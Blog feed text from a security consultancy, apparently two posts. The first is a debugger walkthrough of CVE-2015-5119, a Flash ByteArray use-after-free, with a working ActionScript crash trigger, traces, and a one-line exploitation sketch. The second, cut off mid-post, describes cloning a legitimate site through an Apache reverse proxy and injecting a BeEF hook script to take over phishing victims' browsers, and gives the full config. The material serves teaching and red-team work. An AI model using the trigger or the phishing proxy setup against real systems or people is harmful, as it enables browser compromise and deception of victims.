As a beginner software bug analysis is not a very easy task. It requires a fair amount of experience that you can only get with motivation, time, perseverance and someone to kick your but when you start to be discouraged. One may find easier to work on example codes, made-up proof of concept and other challenges. This is true as it surely helps to quickly understand some concepts but if you are willing to spend some time I suggest you’d rather work on real bugs. This way you will dive into one specific software product, you will start to understand its internals and eventually find your own bugs. Also, you will get that extra little feeling of compl33tness and the beloved one will eventually come back.

In this article we will first start to reverse engineer the function that crashes. We will then dig around it to understand the circumstances of the crash. This will be done by recreating step by step the different pieces needed to produce the final proof of concept. Lastly, we will finish by identifying where the allocation and the freeing of the faulty memory block is performed.

Prerequisites

You first need to download a vulnerable version of Flash. I suggest to use Flash player rather than the plugin version. It is much easier to debug. Try to find version 18_0.0.160 if you want to match my binary analysis. Additionally you can download or browse the AVM+ avmplus source code.

Obviously you need a debugger. Pick up the one of your choice, there are plenty of excellent free ones: Windbg, Ollydbg2, ImmunityDbg, x64dbg. My assembly samples have been produced with IDA Pro. Only using a debugger is enough and you don’t really need a disassember but you can always try the demonstration version of IDA Pro or Hopper on Unix.

In addition, download the walkthrough sample archive.

Lastly a fair knowledge of x86 assembly and object programming is desired. Grab a good cup of excellent tea. Or coffee if you are one of those.

The crash

Enough of the boring verbiage, let’s start. Observe the following Flash Action Script code.

ba = new ByteArray();
ba.length = 0x01000000;

o = new Object();
o.valueOf = function()
{
    ba.clear();
    return 0x41414141;
}

ba[0x42424242] = o

At first you can see that a new Byte Array is being initialised with the size of 0×01000000 bytes. There is a reason why the size is this big and we will get to it later. Right after a new object is created and its valueOf method is being overloaded with some custom code. The object is then assigned in the byte array object at offset 0×42424242.

Open Flash player and open the 0_poc.swf sample file. Attach your debugger. I will use Windbg for this paper but use the one of your choice. Then click on the Trigger button and observe the following crash.

Output from Windbg:

(7ec.e28): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=41414141 ebx=045acfa9 ecx=0458de07 edx=00000007 esi=49d94242 edi=01163810
eip=01898e8d esp=0015e71c ebp=0015e790 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1c98ad:
01898e8d 8806            mov     byte ptr [esi],al          ds:002b:49d94242=??

As you can see, Flash is trying to assign a byte at ESI at a memory location that is not mapped in memory. The value of EAX is 0×41414141.

If you want to use a disassembler, jump to the faulting instruction. Beware of address space layout randomization (ASLR). You need to compute the correct address. This is easily done by subtracting the desired address with the start address of the loaded module and then add the base address of the module. You can get the start address with Windbg using the following command:

0:000> lm m flashplayer_18_0_0_160
start    end        module name
012a0000 01fd3000   flashplayer_18_0_0_160   (export symbols)       C:\Users\user\Desktop\Flash\flashplayer_18_0.0.160.exe

You can get the base address of the module from IDA Pro running the following Python command:

Python>hex(idaapi.get_imagebase())
0x400000

Jump at 0x009f8e8d (0x01898e8d – 0x012a0000 + 0×400000) and observe the following function.

.text:009F8E70 sub_9F8E70      proc near
.text:009F8E70
.text:009F8E70 arg_0           = dword ptr  4
.text:009F8E70 arg_4           = dword ptr  8
.text:009F8E70
.text:009F8E70                 mov     eax, [esp+arg_0]
.text:009F8E74                 push    esi
.text:009F8E75                 push    eax
.text:009F8E76                 add     ecx, 18h
.text:009F8E79                 call    sub_9F8AF0
.text:009F8E7E                 mov     ecx, [esp+4+arg_4]
.text:009F8E82                 push    ecx
.text:009F8E83                 mov     esi, eax
.text:009F8E85                 call    sub_9E0170
.text:009F8E8A                 add     esp, 4
.text:009F8E8D                 mov     [esi], al              ; Crashes here.
.text:009F8E8F                 pop     esi
.text:009F8E90                 retn    8
.text:009F8E90 sub_9F8E70      endp

The function takes two arguments. Then two functions are called. The first argument of the sub_9F8AF0() function is the same argument as the sub_9F8E70() function. The returned value is saved in the ESI register, remember, where the crash occurs. The value being saved is the return value of the second function. The argument of the second function sub_9E0170() is the second argument of the sub_9F8E70() function.

Let’s restart Flash and break in sub_9F8E70(): start address + 0x09F8E70 – 0×400000.

0:007> ba e1 flashplayer_18_0_0_160+0x5f8e70
0:007> g
SetContext failed, 0x80070005
MachineInfo::SetContext failed - Thread: 001ABAE0  Handle: 2cc  Id: 27c - Error == 0x80070005
Breakpoint 0 hit
eax=42424242 ebx=038e03f9 ecx=038e03f8 edx=01908e70 esi=045c42f8 edi=00fc3810
eip=01908e70 esp=0041eb20 ebp=0041eb90 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1c9890:
01908e70 8b442404        mov     eax,dword ptr [esp+4] ss:002b:0041eb24=42424242

The first argument is 0×42424242. Remember the Action Script code, this is our byte array index. Let’s step now until the first function returns.

0:000> p
SetContext failed, 0x80070005
MachineInfo::SetContext failed - Thread: 001ABE40  Handle: 3c0  Id: 114c - Error == 0x80070005
SetContext failed, 0x80070005
MachineInfo::SetContext failed - Thread: 001ABAE0  Handle: 2cc  Id: fac - Error == 0x80070005
eax=49d94242 ebx=038e03f9 ecx=038e0434 edx=00000000 esi=045c42f8 edi=00fc3810
eip=01908e7e esp=0041eb1c ebp=0041eb90 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1c989e:
01908e7e 8b4c240c        mov     ecx,dword ptr [esp+0Ch] ss:002b:0041eb28=e97f6304
0:000> dd eax
49d94242  00000000 00000000 00000000 00000000
49d94252  00000000 00000000 00000000 00000000
49d94262  00000000 00000000 00000000 00000000
49d94272  00000000 00000000 00000000 00000000
49d94282  00000000 00000000 00000000 00000000
49d94292  00000000 00000000 00000000 00000000
49d942a2  00000000 00000000 00000000 00000000
49d942b2  00000000 00000000 00000000 00000000

The function returns a pointer and we can see the address pointed is mapped. Let’s see what the second function returns.

0:000> p
eax=49d94242 ebx=038e03f9 ecx=04637fe9 edx=00000000 esi=49d94242 edi=00fc3810
eip=01908e85 esp=0041eb18 ebp=0041eb90 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1c98a5:
01908e85 e8e672feff      call    flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1b0b90 (018f0170)
0:000> dd 04637fe9 L4
04637fe9  0201c03d 60000000 000449f1 f9044854
0:000> p
eax=41414141 ebx=038e03f9 ecx=00eacf07 edx=00000007 esi=49d94242 edi=00fc3810
eip=01908e8a esp=0041eb18 ebp=0041eb90 iopl=0         nv up ei pl nz ac pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000216
flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1c98aa:
01908e8a 83c404          add     esp,4

The first argument of the sub_9E0170() function is being saved in the ECX register. It seems to be a pointer. The return value of the function is 0×41414141. Remember again, the returned value of the overloaded valueOf method.

Stepping until the instruction that crashes shows that the memory address 0x49d94242 is not mapped anymore.

0:000> p
eax=41414141 ebx=038e03f9 ecx=00eacf07 edx=00000007 esi=49d94242 edi=00fc3810
eip=01908e8d esp=0041eb1c ebp=0041eb90 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1c98ad:
01908e8d 8806            mov     byte ptr [esi],al          ds:002b:49d94242=??
0:000> dd esi
49d94242  ???????? ???????? ???????? ????????
49d94252  ???????? ???????? ???????? ????????
49d94262  ???????? ???????? ???????? ????????
49d94272  ???????? ???????? ???????? ????????
49d94282  ???????? ???????? ???????? ????????
49d94292  ???????? ???????? ???????? ????????
49d942a2  ???????? ???????? ???????? ????????
49d942b2  ???????? ???????? ???????? ????????

The devil is in the sub_9E0170() function.

Understanding AvmCore::integer

It is clear now that the function that crashes is the one responsible for assigning a byte to an element of the array.  We usually never really need the source code when debugging a crash but it surely ease the work. A quick look at the ByteArray source code gives us the function symbols:

void ByteArrayObject::setUintProperty(uint32_t i, Atom value)
{
    m_byteArray[i] = uint8_t(AvmCore::integer(value));
}

We can set ourselves the symbols in the disassembler.

.text:009F8E70 ByteArrayObject__setUintProperty proc near
.text:009F8E70
.text:009F8E70 index           = dword ptr  4
.text:009F8E70 atom            = dword ptr  8
.text:009F8E70
.text:009F8E70                 mov     eax, [esp+index]           ; The index in the array
.text:009F8E74                 push    esi
.text:009F8E75                 push    eax
.text:009F8E76                 add     ecx, 18h
.text:009F8E79                 call    ByteArray_operator_bracket ; Return the memory address of array+index.
.text:009F8E7E                 mov     ecx, [esp+4+atom]
.text:009F8E82                 push    ecx
.text:009F8E83                 mov     esi, eax
.text:009F8E85                 call    AvmCore_integer
.text:009F8E8A                 add     esp, 4
.text:009F8E8D                 mov     [esi], al                  ; Set the byte at array+index.
.text:009F8E8F                 pop     esi
.text:009F8E90                 retn    8
.text:009F8E90 ByteArrayObject__setUintProperty endp

The way the ByteArray_operator_bracket() function works is not needed here. The fun is happening in the AvmCore_integer() function. The source code of this function can be found here. I have populated the disassembler with the new known symbols.

.text:009E0170 AvmCore_integer proc near
.text:009E0170
.text:009E0170
.text:009E0170 var_8           = qword ptr -8
.text:009E0170 atom            = dword ptr  4
.text:009E0170
.text:009E0170                 mov     eax, [esp+atom]
.text:009E0174                 mov     ecx, eax
.text:009E0176                 and     ecx, 7
.text:009E0179                 cmp     ecx, 6                       ; Check the atom's kind.
.text:009E017C                 jnz     short convert_the_object
.text:009E017E
.text:009E017E return_the_value:
.text:009E017E                 sar     eax, 3
.text:009E0181                 retn
.text:009E0182
.text:009E0182 convert_the_object:
.text:009E0182                 cmp     ecx, 5
.text:009E0185                 jz      short return_the_value
.text:009E0187                 push    eax
.text:009E0188                 call    number
.text:009E018D                 push    ecx
.text:009E018E                 fstp    [esp+8+var_8]
.text:009E0191                 call    integer_d
.text:009E0196                 add     esp, 8
.text:009E0199                 retn
.text:009E0199 AvmCore_integer endp

The argument of this function is an atom. If the object is an integer, its value is returned. Otherwise the number() function is called on the atom.

Let’s verify this by seeing how the following ActionScript is being executed:

ba = new ByteArray();
ba.length = 0x01000000;

ba[0] = 0x41;

Open the 1_simplebyte.swf with Flash player, attach your debugger, set your breakpoints and break at the AvmCore_integer() function.

eax=068a0000 ebx=0109ecb0 ecx=039e9434 edx=00748e70 esi=03b132f8 edi=039e93f8
eip=00748e7e esp=0109eb9c ebp=0109ec10 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1c989e:
00748e7e 8b4c240c        mov     ecx,dword ptr [esp+0Ch] ss:002b:0109eba8=0e020000
0:000>

...

eax=0000020e ebx=0109ecb0 ecx=00000006 edx=00748e70 esi=068a0000 edi=039e93f8
eip=00730179 esp=0109eb94 ebp=0109ec10 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1b0b99:
00730179 83f906          cmp     ecx,6

The atom’s kind is indeed an integer.

eax=0000020e ebx=0109ecb0 ecx=00000006 edx=00748e70 esi=068a0000 edi=039e93f8
eip=0073017e esp=0109eb94 ebp=0109ec10 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1b0b9e:
0073017e c1f803          sar     eax,3
0:000> p
eax=00000041 ebx=0109ecb0 ecx=00000006 edx=00748e70 esi=068a0000 edi=039e93f8
eip=00730181 esp=0109eb94 ebp=0109ec10 iopl=0         nv up ei pl nz na pe cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000207
flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1b0ba1:
00730181 c3              ret

and the value 0×41 is being returned. But what happens if the atom is not an integer but a simple object.

Let’s use the following code:

ba = new ByteArray();
ba.length = 0x01000000;

ba[0] = 0x41;
ba[1] = new Object();

Open the 2_simpleobject.swf and break at the second call to AvmCore_integer() where the object is being assigned.

eax=07da0001 ebx=07a7ba29 ecx=07a42fe9 edx=00748e70 esi=07da0001 edi=03a59810
eip=00730170 esp=0109eb94 ebp=0109ec10 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1b0b90:
00730170 8b442404        mov     eax,dword ptr [esp+4] ss:002b:0109eb98=e92fa407

...

eax=07a42fe9 ebx=07a7ba29 ecx=00000001 edx=00748e70 esi=07da0001 edi=03a59810
eip=00730179 esp=0109eb94 ebp=0109ec10 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1b0b99:
00730179 83f906          cmp     ecx,6

...

eax=07a42fe9 ebx=07a7ba29 ecx=00000001 edx=00748e70 esi=07da0001 edi=03a59810
eip=00730188 esp=0109eb90 ebp=0109ec10 iopl=0         nv up ei ng nz ac pe cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000297
flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1b0ba8:
00730188 e8f3e1ffff      call    flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1aeda0 (0072e380)

As expected that atom’s kind is not an integer so the number() function is being called.

The number() function is mainly a loop with a switch inside.

.text:009DE380 number          proc near
.text:009DE380
.text:009DE380 atom            = dword ptr  4
.text:009DE380
.text:009DE380                 mov     eax, [esp+atom]
.text:009DE384                 mov     edx, eax
.text:009DE386                 and     edx, 7
.text:009DE389                 cmp     edx, 6                  ; Is it already a number?
.text:009DE38C                 jz      short return_the_value

...

.text:009DE3A2                 jmp     ds:off_9DE3FC[ecx*4]    ; Switch jump

If the object is already a number, its value is simply returned. Otherwise a 5 case plus default switch is encountered. Because our atom is of kind kObjectType, jump case 1 is used:

.text:009DE3B7 loc_9DE3B7:
.text:009DE3B7                 and     eax, 0FFFFFFF8h ; jumptable 009DE3A2 case 1
.text:009DE3BA                 mov     edx, [eax]
.text:009DE3BC                 mov     ecx, eax
.text:009DE3BE                 mov     eax, [edx+4Ch]
.text:009DE3C1                 call    eax             ; AvmCore::atomToScriptObject(atom)->defaultValue()

This can be verified from the debugger.

eax=07a42fe9 ebx=07a7ba29 ecx=00000000 edx=00000001 esi=07da0001 edi=03a59810
eip=0072e3a2 esp=0109eb8c ebp=0109ec10 iopl=0         nv up ei ng nz ac pe cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000297
flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1aedc2:
0072e3a2 ff248dfce37200  jmp     dword ptr flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1aee1c (0072e3fc)[ecx*4] ds:002b:0072e3fc=b7e37200

...

eax=0074ab30 ebx=07a7ba29 ecx=07a42fe8 edx=00a43de0 esi=07da0001 edi=03a59810
eip=0072e3c1 esp=0109eb8c ebp=0109ec10 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1aede1:
0072e3c1 ffd0            call    eax {flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1cb550 (0074ab30)}
0:000> p
eax=07a42fa2 ebx=07a7ba29 ecx=07a42f02 edx=02f65000 esi=07da0001 edi=03a59810
eip=0072e3c3 esp=0109eb8c ebp=0109ec10 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1aede3:
0072e3c3 8bd0            mov     edx,eax

This function returns an object and we loop once more if the returned object is not a number as seen below:

eax=07a42fa2 ebx=07a7ba29 ecx=07a42f02 edx=00000002 esi=07da0001 edi=03a59810
eip=0072e3c8 esp=0109eb8c ebp=0109ec10 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1aede8:
0072e3c8 83fa06          cmp     edx,6
0:000> t
eax=07a42fa2 ebx=07a7ba29 ecx=07a42f02 edx=00000002 esi=07da0001 edi=03a59810
eip=0072e3cb esp=0109eb8c ebp=0109ec10 iopl=0         nv up ei ng nz ac pe cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000297
flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1aedeb:
0072e3cb 75c3            jne     flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1aedb0 (0072e390) [br=1]

Ultimately zero is returned.

Now let’s consider the following piece of code:

ba = new ByteArray();
ba.length = 0x01000000;

ba[0] = 0x41;
o = new Object();

o.valueOf = function()
{
    return 0x42;
}

ba[1] = o;

We have now overloaded the valueOf() method with an ActionScript function to make it to return 0×42. Open the 3_object_withvalueOf.swf file and break at the second call to the number() function. Step through until the call to the AvmCore::atomToScriptObject(atom)->defaultValue() function.

eax=014aab30 ebx=0393d3f9 ecx=031a94f0 edx=017a3de0 esi=06860001 edi=03124810
eip=0148e3c1 esp=0035eb4c ebp=0035ebd0 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1aede1:
0148e3c1 ffd0            call    eax {flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1cb550 (014aab30)}
0:000> p
eax=00000216 ebx=0393d3f9 ecx=00000206 edx=00280000 esi=06860001 edi=03124810
eip=0148e3c3 esp=0035eb4c ebp=0035ebd0 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1aede3:
0148e3c3 8bd0            mov     edx,eax

...

eax=00000216 ebx=0393d3f9 ecx=00000206 edx=00000006 esi=06860001 edi=03124810
eip=0148e3cd esp=0035eb4c ebp=0035ebd0 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1aeded:
0148e3cd c1f803          sar     eax,3
0:000> t
eax=00000042 ebx=0393d3f9 ecx=00000206 edx=00000006 esi=06860001 edi=03124810
eip=0148e3d0 esp=0035eb4c ebp=0035ebd0 iopl=0         nv up ei pl nz na pe cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000207
flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1aedf0:
0148e3d0 89442404        mov     dword ptr [esp+4],eax ss:002b:0035eb50=f1941a03

You can observe that the returned object is now an integer of value 0×42 as expected.

Allocation of the byte array.

Remember the byte array being initialised with a size of 0×01000000 bytes? The reason is that the VirtualAlloc() function is going to make the allocation and not the custom allocator for the purposes of a proof of concept. Fire up again the 0_poc.swf file and set a break point at VirtuallAlloc().

0:007> bp kernel32!VirtualAlloc
*** Unable to resolve unqualified symbol in Bp expression 'fastMalloc'.
0:007> ba e1 flashplayer_18_0_0_160+0x5f8e70
0:007> g

Click on the Trigger button and wait for the breakpoint to be hit.

Breakpoint 0 hit
eax=01000000 ebx=01000000 ecx=00000000 edx=00000000 esi=00d90058 edi=00001000
eip=74d8182f esp=0021e868 ebp=0021e8da iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
kernel32!VirtualAlloc:
*** Unable to resolve unqualified symbol in Bp expression 'fastMalloc'.
74d8182f ff250809d874    jmp     dword ptr [kernel32!_imp__VirtualAlloc (74d80908)] ds:002b:74d80908={KERNELBASE!VirtualAlloc (7548f002)}
0:000> t
eax=01000000 ebx=01000000 ecx=00000000 edx=00000000 esi=00d90058 edi=00001000
eip=7548f002 esp=0021e868 ebp=0021e8da iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
KERNELBASE!VirtualAlloc:
7548f002 8bff            mov     edi,edi
0:000> gu
eax=06900000 ebx=01000000 ecx=150a0000 edx=000adfb8 esi=00d90058 edi=00001000
eip=008af347 esp=0021e87c ebp=0021e8da iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x13fd67:
008af347 c3              ret

As you can see a block of 0×01000000 bytes is being allocated. Observe the allocation is done twice. The reason is that the block is not committed in the first call but both calls return the same address.

Now just add a new breakpoint on the AvmCore_Integer() function. Step over the ByteArray_operator_bracket() function. A new allocation is made.

0:000> ba e1 flashplayer_18_0_0_160+0x5f8e85
eax=42424242 ebx=04370ef9 ecx=04370f10 edx=01238e70 esi=044642f8 edi=03223810
eip=01238e79 esp=002fe898 ebp=002fe910 iopl=0         nv up ei pl nz ac po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000212
flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1c9899:
01238e79 e872fcffff      call    flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1c9510 (01238af0)
0:000> g
Breakpoint 0 hit
eax=42425000 ebx=42425000 ecx=00000000 edx=00000000 esi=01690058 edi=00042425
eip=74d8182f esp=002fe70c ebp=002fe77e iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
kernel32!VirtualAlloc:
74d8182f ff250809d874    jmp     dword ptr [kernel32!_imp__VirtualAlloc (74d80908)] ds:002b:74d80908={KERNELBASE!VirtualAlloc (7548f002)}
0:000> t
eax=42425000 ebx=42425000 ecx=00000000 edx=00000000 esi=01690058 edi=00042425
eip=7548f002 esp=002fe70c ebp=002fe77e iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
KERNELBASE!VirtualAlloc:
7548f002 8bff            mov     edi,edi
0:000> gu
eax=077a0000 ebx=42425000 ecx=3b7e0000 edx=000ae308 esi=01690058 edi=00042425
eip=011af347 esp=002fe720 ebp=002fe77e iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x13fd67:
011af347 c3              ret

Indeed index 0×42424242 is too big for the 0×01000000 array, it needs to allocate a larger block. This time the desired size is 0×42425000 bytes and the block starts at address 0x077a0000.

0:000> dd 077a0000
077a0000  00000000 00000000 00000000 00000000
077a0010  00000000 00000000 00000000 00000000
077a0020  00000000 00000000 00000000 00000000
077a0030  00000000 00000000 00000000 00000000
077a0040  00000000 00000000 00000000 00000000
077a0050  00000000 00000000 00000000 00000000
077a0060  00000000 00000000 00000000 00000000
077a0070  00000000 00000000 00000000 00000000

Freeing the byte array.

Break just before the AvmCore_Integer() function is called. Set a new breakpoint on the VirtualFree() function. Observe it’s being hit before AvmCore_Integer() returns 0×41414141.

Breakpoint 2 hit
eax=49bc4242 ebx=04370ef9 ecx=032a94f1 edx=00000000 esi=49bc4242 edi=03223810
eip=01238e85 esp=002fe898 ebp=002fe910 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1c98a5:
01238e85 e8e672feff      call    flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1b0b90 (01220170)
0:000> bp kernel32!VirtualFree
0:000> g
Breakpoint 4 hit
eax=077a0000 ebx=74d81401 ecx=42425000 edx=077a0000 esi=01690058 edi=030f4078
eip=74d81847 esp=002fe64c ebp=01690934 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
kernel32!VirtualFree:
74d81847 ff251009d874    jmp     dword ptr [kernel32!_imp__VirtualFree (74d80910)] ds:002b:74d80910={KERNELBASE!VirtualFree (7548ef47)}

This is because of ba.clear(). Indeed the memory at 0x077a0000 is not allocated anymore and Flash crashes.

0:000> dd 077a0000
077a0000  ???????? ???????? ???????? ????????
077a0010  ???????? ???????? ???????? ????????
077a0020  ???????? ???????? ???????? ????????
077a0030  ???????? ???????? ???????? ????????
077a0040  ???????? ???????? ???????? ????????
077a0050  ???????? ???????? ???????? ????????
077a0060  ???????? ???????? ???????? ????????
077a0070  ???????? ???????? ???????? ????????
0:000> g
(ef8.8a8): Access violation - code c0000005 (!!! second chance !!!)
eax=41414141 ebx=04370ef9 ecx=0576ca07 edx=00000007 esi=49bc4242 edi=03223810
eip=01238e8d esp=002fe89c ebp=002fe910 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
flashplayer_18_0_0_160!IAEModule_IAEKernel_UnloadModule+0x1c98ad:
01238e8d 8806            mov     byte ptr [esi],al          ds:002b:49bc4242=??

Conclusion

In order to exploit this vulnerability, before the patch was applied, you had to overwrite the freed location with a vector object and then overwrite the length value of the vector object. This way it is possible to read and write anywhere in the process memory.

To conclude, exploiting vulnerabilities is the most enjoyable part for most of us but understanding a bug is a mandatory step to go further. Not only will it train you to be better at reversing code but it will help you to write more stable exploits. It is sad in a way that for this bug most of the people just ripped of the original exploit to simply replace it with their own shellcodes.

The post CVE-2015-5119 Flash ByteArray UaF: A beginner’s walkthrough appeared first on Portcullis Labs.

]]>
https://labs.portcullis.co.uk/blog/cve-2015-5119-flash-bytearray-uaf-a-beginners-walkthrough/feed/ 0
Blood in the water: Phishing with BeEF https://labs.portcullis.co.uk/blog/blood-in-the-water-phishing-with-beef/ https://labs.portcullis.co.uk/blog/blood-in-the-water-phishing-with-beef/#comments Fri, 18 Sep 2015 09:53:47 +0000 https://labs.portcullis.co.uk/?p=4939 Those of you that have been following the UK infosec market recently will have noticed an upturn in talk relating to “Red Team” style engagements. Unlike a traditional penetration test, the object of such an exercise is not to locate vulnerabilities (though of course that helps) but rather to exercise the “Blue Team” i.e. the […]

The post Blood in the water: Phishing with BeEF appeared first on Portcullis Labs.

]]>
Those of you that have been following the UK infosec market recently will have noticed an upturn in talk relating to “Red Team” style engagements. Unlike a traditional penetration test, the object of such an exercise is not to locate vulnerabilities (though of course that helps) but rather to exercise the “Blue Team” i.e. the internal users at an organisation responsible for defending their network. This change has been driven by CBEST and the associated STAR exam offerings from CREST, which have certainly raised the bar. Whilst most IT security consultancies are happy to talk about phishing, the level to which they go to mimic the target can vary.

Historically, the Portcullis offering has, whilst bespoke been more about gathering statistics as to how many victims clicked a given link than much else. With this in mind, over the last 12 months, I’ve set about developing our service in a more agressive direction. One particular idea I’ve wanted to deliver for a while is to integrate BeEF into our offering. As an aside, for those of you that don’t know of BeEF, it allows you to hook web site vistors and turn them into drones. This allows for longer term exploitation of their browsers including fingerprinting and even RCE enabling OS level access to their PCs.

As I’ve already stated, Portcullis offer a bespoke phishing service where we tailor the web site and email to the particulars of our client. For a start we will perform reconnaissance to locate a suitable legitimate web site to mimic and secondly we will work with our client to ensure that our emails aren’t caught by any anti-phishing technology they may be using (often the first point of failure when phishing a mature organisation). Typically, we will then mimic our chosen site on a similar looking domain before sending emails to our victims. Historically, we’ve statically cloned the legitimate site (or at least the portions we need) before tweaking them to add our hooks, however on a recent project, I took the opportunity to improve this. The reasons for the change were many and varied but essentially came down to the fact that a statically cloned site will never look as good as the real thing, notably with respect to the expected functionality a victim might expect to see, but also because the tweaks we will then have to make are quite time consuming. The aim of my improvements were therefore two-fold:

  • Allow dynamic web sites to be cloned
  • Integrate BeEF

Whilst I’ve previously looked, I’ve not found any information elsewhere that discusses how to do this in detail, so I decided to use Apache web server, mod_proxy and mod_substitute (tools I’m already familiar with). The remainder of this post discussed the approach I took.

Consider the following configuration:

        ServerName HOSTNAME.DOMAINNAME
        DocumentRoot /var/www/HOSTNAME.DOMAINNAME
        ...
        ProxyPass /pcslhook.js !
        ProxyPass /pcslendpoint.php !
        ProxyPass /hook.js http://localhost:3000/hook.js
        ProxyPassReverse /hook.js http://localhost:3000/hook.js
        ProxyPass /dh http://localhost:3000/dh
        ProxyPassReverse /dh http://localhost:3000/dh
        ProxyPass /ui http://localhost:3000/ui
        ProxyPassReverse /ui http://localhost:3000/ui
        ProxyPass / http://PLEASECOMPLETEME/
        ProxyPassReverse / http://PLEASECOMPLETEME/
        AddOutputFilterByType INFLATE;SUBSTITUTE;DEFLATE text/html
        AddOutputFilterByType INFLATE;SUBSTITUTE;DEFLATE text/javascript
        Substitute "s#<head>#<head><script type="text/javascript" src="\"/pcslhook.js\""></script><script type="text/javascript">load();</script><script type="text/javascript" src="\"/hook.js\""></script>#ni"
        Substitute "s#:3000##ni"
        Substitute "s#\"3000\"#\"80\"#ni"
